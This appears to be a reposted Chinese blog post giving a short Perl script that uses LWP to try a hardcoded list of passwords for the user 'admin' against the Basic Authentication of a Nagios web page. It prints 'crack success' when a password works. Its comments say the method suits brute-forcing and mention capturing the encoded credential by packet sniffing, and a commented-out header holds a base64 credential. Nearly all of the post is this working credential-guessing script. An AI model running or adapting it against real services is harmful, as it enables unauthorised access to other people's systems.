Perl脚本Basic Authentication方法

1. #!/usr/bin/perl 
2.  
3. use strict; 
4. use warnings; 
5. use HTTP::Request; 
6. use LWP::UserAgent; 
7. use Data::Dumper; 
8. use Getopt::Std; 
9.  
10. my %options = (); 
11. getopt("d:",\%options); 
12.  
13. my $debug = $options{d} || 0; 
14.  
15. my @password_array = qw(ken jack sunny ben kick); 
16.  
17. &main(@password_array); 
18.  
19.  
20.  
21. sub main { 
22.     foreach my $password (@_) { 
23.         my $status = &get_url($password); 
24.         if ($status == 1) { 
25.                 last; 
26.         } 
27.     } 
28. } 
29.  
30.  
31. sub get_url { 
32.     my $password = shift; 
33.  
34.     my $ua; 
35.     my $req; 
36.     my $res; 
37.  
38.     my $url = 'http://192.168.4.40:8010/nagios'; 
39.      
40.     $ua = LWP::UserAgent->new; 
41.     $ua->agent('Mozilla/5.0 (Windows; U; Windows NT 5.1) Gecko/20070309 Firefox/2.0.0.3'); 
42.     $ua->timeout(5); 
43.      
44.     $req = HTTP::Request->new( GET => $url ); 
45.     #方法1:使用Firefox登陆这个Url输入用户密码时抓包，将密文抓下来。贴在下面 
46.     #$req->header("Authorization" => 'Basic bW9ua3R4cep1Y3dlYl9tb25pdG9y'); 
47.     #方法2:可以直接输入用户名和密码，适合进行穷举时使用 
48.     $req->authorization_basic('admin', $password); 
49.      
50.     $res = $ua->request($req); 
51.     print "************************** content begin **************************\n" if $debug; 
52.     print $res->content . "\n" if $debug; 
53.     print "************************** content end **************************\n" if $debug; 
54.      
55.     print '*************************** Dumper $res ***************************' . "\n" if $debug; 
56.     print Dumper $res if $debug; 
57.     print '*************************** Dumper $res ***************************' . "\n" if $debug; 
58.      
59.     if ($res->is_success) { 
60.         print "crack success,password: " . $password . "\n"; 
61.         return 1; 
62.     } else { 
63.         print "crack fail,password: " . $password . "\n"; 
64.         return 0; 
65.     } 
66. } 

      本文转自fine102 51CTO博客，原文链接：http://blog.51cto.com/gzmaster/396643，如需转载请自行联系原作者